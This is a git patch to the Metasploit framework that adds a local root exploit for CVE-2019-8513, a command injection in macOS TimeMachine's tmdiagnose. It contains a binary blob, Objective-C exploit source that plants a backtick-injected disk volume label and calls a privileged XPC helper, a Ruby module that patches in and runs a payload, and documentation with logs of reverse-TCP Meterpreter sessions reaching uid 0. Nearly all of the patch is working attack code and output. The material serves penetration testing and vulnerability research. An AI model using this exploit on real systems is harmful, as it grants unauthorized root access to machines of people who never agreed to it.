From f6f471df5e400ace5d425bc9d3fcbeba7a73ebf7 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Sat, 29 Jun 2019 05:36:12 -0500 Subject: [PATCH] Land #11726, add exploit for CVE-2019-8513, macOS TimeMachine cmd injection --- data/exploits/CVE-2019-8513/exploit | Bin 0 -> 15468 bytes .../osx/local/timemachine_cmd_injection.md | 62 ++++++++ .../source/exploits/CVE-2019-8513/Makefile | 25 ++++ external/source/exploits/CVE-2019-8513/exp.m | 140 ++++++++++++++++++ .../osx/local/timemachine_cmd_injection.rb | 105 +++++++++++++ 5 files changed, 332 insertions(+) create mode 100755 data/exploits/CVE-2019-8513/exploit create mode 100644 documentation/modules/exploit/osx/local/timemachine_cmd_injection.md create mode 100644 external/source/exploits/CVE-2019-8513/Makefile create mode 100644 external/source/exploits/CVE-2019-8513/exp.m create mode 100644 modules/exploits/osx/local/timemachine_cmd_injection.rb diff --git a/data/exploits/CVE-2019-8513/exploit b/data/exploits/CVE-2019-8513/exploit new file mode 100755 index 0000000000000000000000000000000000000000..d12dd85cdd456d4dca4c0bf63ffb741ed76a9b24 GIT binary patch literal 15468 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 +4. `set lport ` +5. `set session ` +6. `run` + +## Scenarios + +### Mac OSX 10.14.3 (Mojave) + +``` + +msf5 exploit(multi/handler) > use exploit/osx/local/timemachine_cmd_injection +msf5 exploit(osx/local/timemachine_cmd_injection) > exploit + +[!] SESSION may not be compatible with this module. +[*] Started reverse TCP handler on 192.168.0.2:5555 +[*] Uploading file: '/tmp/qhjlknnmf' +[*] Executing exploit '/tmp/qhjlknnmf' +[*] Exploit result: +2019-04-18 16:18:29.190 qhjlknnmf[51122:107119] creating dmg image +2019-04-18 16:18:33.300 qhjlknnmf[51122:107119] mounting malformed disk +2019-04-18 16:18:33.564 qhjlknnmf[51122:107119] sending XPC msg +2019-04-18 16:18:33.564 qhjlknnmf[51122:107119] now wait a few minutes for the root command to run +[*] Transmitting first stager...(210 bytes) +[*] Transmitting second stager...(8192 bytes) +[*] Sending stage (808504 bytes) to 192.168.0.2 +[*] Meterpreter session 2 opened (192.168.0.2:5555 -> 192.168.0.2:34270) at 2019-04-18 16:20:02 +0800 + +meterpreter > getuid +Server username: uid=0, gid=0, euid=0, egid=0 +``` + +### MacOS 10.13.3 (High Sierra) + +``` +[!] SESSION may not be compatible with this module. +[*] Started reverse TCP handler on 192.168.86.1.31:4444 +[*] Uploading file: '/tmp/.xbdtqiynvb' +[*] Executing exploit '/tmp/.xbdtqiynvb' +[*] Exploit result: +2019-06-29 12:26:29.052 .xbdtqiynvb[553:3447] creating dmg image +2019-06-29 12:26:33.193 .xbdtqiynvb[553:3447] mounting malformed disk +2019-06-29 12:26:33.533 .xbdtqiynvb[553:3447] sending XPC msg +2019-06-29 12:26:33.534 .xbdtqiynvb[553:3447] now wait a few minutes for the root command to run +[*] Transmitting first stager...(210 bytes) +[*] Transmitting second stager...(8192 bytes) +[*] Sending stage (813560 bytes) to 192.168.86.1.32 +[*] Meterpreter session 3 opened (192.168.86.1.31:4444 -> 192.168.86.1.32:55888) at 2019-06-29 05:27:24 -0500 + +meterpreter > getuid +Server username: uid=0, gid=0, euid=0, egid=0 +``` diff --git a/external/source/exploits/CVE-2019-8513/Makefile b/external/source/exploits/CVE-2019-8513/Makefile new file mode 100644 index 000000000000..5515ee81523d --- /dev/null +++ b/external/source/exploits/CVE-2019-8513/Makefile @@ -0,0 +1,25 @@ +OUTPUT="./bin" +SOURCE=exp.m + + +.PHONY: $(OUTPUT)/test + +all: $(SOURCE) prepare + clang -framework Foundation -framework DiskArbitration $(SOURCE) -o $(OUTPUT)/test + +clean: + rm -rf $(OUTPUT)/* + +run: all + $(OUTPUT)/test + +format: + clang-format -i $(SOURCE) + +prepare: + mkdir -p $(OUTPUT) + +install: + mkdir -p ../../../../data/exploits/CVE-2019-8513/ + cp $(OUTPUT)/test ../../../../data/exploits/CVE-2019-8513/exploit + diff --git a/external/source/exploits/CVE-2019-8513/exp.m b/external/source/exploits/CVE-2019-8513/exp.m new file mode 100644 index 000000000000..639832fb6057 --- /dev/null +++ b/external/source/exploits/CVE-2019-8513/exp.m @@ -0,0 +1,140 @@ +/* + clang -framework Foundation -framework DiskArbitration exp.m -o exp && ./exp +*/ + +#import +#import +#import + +#include +#include + +#include + +char root_payload[1024] = "ROOT_PAYLOAD_PLACEHOLDER"; +void root() { + NSLog(@"[exploit] I am Groot!"); + + if (!strncmp(root_payload, "CMD:", 4)) { + system(root_payload + 4); + } else { + void *ptr = mmap(0, sizeof(root_payload), PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0); + if (ptr == MAP_FAILED) { + return; + } + memcpy(ptr, root_payload, sizeof(root_payload)); + int (*sc)() = ptr; + sc(); + } +} + +#define TARGET "/tmp/1" +#define CMD "t*/1" +#define VOLUME "disk`" CMD "`\nA" +#define VOLUMEPATH "disk`t*:1`\nA" + +@protocol DETimeMachineHelperProtocol +- (void)runDiagnosticWithDestinationDir:(NSURL *)arg1 + replyURL:(void (^)(NSURL *))arg2; +@end + +NSPipe *hdiutil(NSArray *args) { + NSPipe *pipe = [NSPipe pipe]; + NSTask *task = [[NSTask alloc] init]; + [task setStandardOutput:pipe]; + [task setLaunchPath:@"/usr/bin/hdiutil"]; + [task setArguments:args]; + [task launch]; + [task waitUntilExit]; + return pipe; +} + +void exploit() { + NSString *dir = [NSTemporaryDirectory() + stringByAppendingPathComponent:[[NSProcessInfo processInfo] + globallyUniqueString]]; + NSString *dmg = [dir stringByAppendingString:@".dmg"]; + NSFileManager *fileMgr = [NSFileManager defaultManager]; + NSError *err = NULL; + NSString *src = [[NSBundle mainBundle] executablePath]; + [fileMgr removeItemAtPath:@TARGET error:nil]; + [fileMgr copyItemAtPath:src toPath:@TARGET error:&err]; + if (err) + NSLog(@"warning, failed to copy: %@", err); + + [fileMgr createDirectoryAtPath:dir + withIntermediateDirectories:YES + attributes:nil + error:&err]; + + NSLog(@"creating dmg image"); + hdiutil(@[ + @"create", @"-fs", @"HFS+", @"-volname", @VOLUME, @"-srcfolder", dir, + @"-size", @"840k", @"-format", @"UDRW", dmg + ]); + + NSLog(@"mounting malformed disk"); + NSPipe *pipe = hdiutil(@[ @"attach", dmg ]); + NSString *mounted = [[NSString alloc] + initWithData:[[pipe fileHandleForReading] readDataToEndOfFile] + encoding:NSUTF8StringEncoding]; + + NSLog(@"sending XPC msg"); + NSXPCConnection *connection = [[NSXPCConnection alloc] + initWithMachServiceName: + @"com.apple.diagnosticextensions.osx.timemachine.helper" + options:NSXPCConnectionPrivileged]; + connection.remoteObjectInterface = [NSXPCInterface + interfaceWithProtocol:@protocol(DETimeMachineHelperProtocol)]; + [connection resume]; + dispatch_semaphore_t semaphore = dispatch_semaphore_create(0); + // it doesn't matter + NSURL *randomURL = [[NSURL alloc] initFileURLWithPath:dir]; + [connection.remoteObjectProxy + runDiagnosticWithDestinationDir:randomURL + replyURL:^(NSURL *url) { + NSLog(@"done"); + dispatch_semaphore_signal(semaphore); + }]; + NSLog(@"now wait a few minutes for the root command to run"); + if (fork()) { + return; + } + + dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER); +} + +void cleanup() { + // eject malformed images + NSArray *mountedRemovableMedia = [[NSFileManager defaultManager] mountedVolumeURLsIncludingResourceValuesForKeys:nil options:NSVolumeEnumerationSkipHiddenVolumes]; + NSMutableArray *result = [NSMutableArray array]; + DASessionRef session = DASessionCreate(NULL); + if (session) { + for (NSURL *volURL in mountedRemovableMedia) { + DADiskRef disk = DADiskCreateFromVolumePath(NULL, session, (CFURLRef)volURL); + if (disk) { + NSString* filePath = [volURL path]; + if ([filePath rangeOfString:@VOLUMEPATH].location != NSNotFound) { + DADiskUnmount(disk, kDADiskUnmountOptionDefault, NULL, NULL); + DADiskEject(disk, kDADiskEjectOptionDefault, NULL, NULL); + } + CFRelease(disk); + } + } + CFRelease(session); + } + + system("killall -9 tmdiagnose"); +} + +int main(int argc, const char *argv[]) { + @autoreleasepool { + if (geteuid()) { + exploit(); + } else { + cleanup(); + root(); + } + } + return 0; +} \ No newline at end of file diff --git a/modules/exploits/osx/local/timemachine_cmd_injection.rb b/modules/exploits/osx/local/timemachine_cmd_injection.rb new file mode 100644 index 000000000000..111bbe43c52b --- /dev/null +++ b/modules/exploits/osx/local/timemachine_cmd_injection.rb @@ -0,0 +1,105 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Post::OSX::Priv + include Msf::Post::OSX::System + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Mac OS X TimeMachine (tmdiagnose) Command Injection Privilege Escalation', + 'Description' => %q{ + This module exploits a command injection in TimeMachine on macOS <= 10.14.3 in + order to run a payload as root. The tmdiagnose binary on OSX <= 10.14.3 suffers + from a command injection vulnerability that can be exploited by creating a + specially crafted disk label. + + The tmdiagnose binary uses awk to list every mounted volume, and composes + shell commands based on the volume labels. By creating a volume label with the + backtick character, we can have our own binary executed with root priviledges. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'CodeColorist', # Discovery and exploit + 'timwr', # Metasploit module + ], + 'References' => [ + ['CVE', '2019-8513'], + ['URL', 'https://medium.com/0xcc/rootpipe-reborn-part-i-cve-2019-8513-timemachine-root-command-injection-47e056b3cb43'], + ['URL', 'https://support.apple.com/en-in/HT209600'], + ['URL', 'https://github.com/ChiChou/sploits'], + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { 'WfsDelay' => 300, 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' }, + 'Targets' => [ + [ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ], + [ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ], + [ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ], + ], + 'DisclosureDate' => 'Apr 13 2019')) + register_advanced_options [ + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) + ] + end + + def upload_executable_file(filepath, filedata) + print_status("Uploading file: '#{filepath}'") + write_file(filepath, filedata) + chmod(filepath) + register_file_for_cleanup(filepath) + end + + def check + version = Gem::Version.new(get_system_version) + if version >= Gem::Version.new('10.14.4') + CheckCode::Safe + else + CheckCode::Appears + end + end + + def exploit + if check != CheckCode::Appears + fail_with Failure::NotVulnerable, 'Target is not vulnerable' + end + + if is_root? + fail_with Failure::BadConfig, 'Session already has root privileges' + end + + unless writable? datastore['WritableDir'] + fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" + end + + exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2019-8513", "exploit" )) + if target['Arch'] == ARCH_X64 + root_cmd = payload.encoded + else + root_cmd = payload.raw + if target['Arch'] == ARCH_PYTHON + root_cmd = "echo \"#{root_cmd}\" | python" + end + root_cmd = "CMD:#{root_cmd}" + end + if root_cmd.length > 1024 + fail_with Failure::PayloadFailed, "Payload size (#{root_cmd.length}) exceeds space in payload placeholder" + end + + placeholder_index = exploit_data.index('ROOT_PAYLOAD_PLACEHOLDER') + exploit_data[placeholder_index, root_cmd.length] = root_cmd + + exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}" + upload_executable_file(exploit_file, exploit_data) + + print_status("Executing exploit '#{exploit_file}'") + result = cmd_exec(exploit_file) + print_status("Exploit result:\n#{result}") + end +end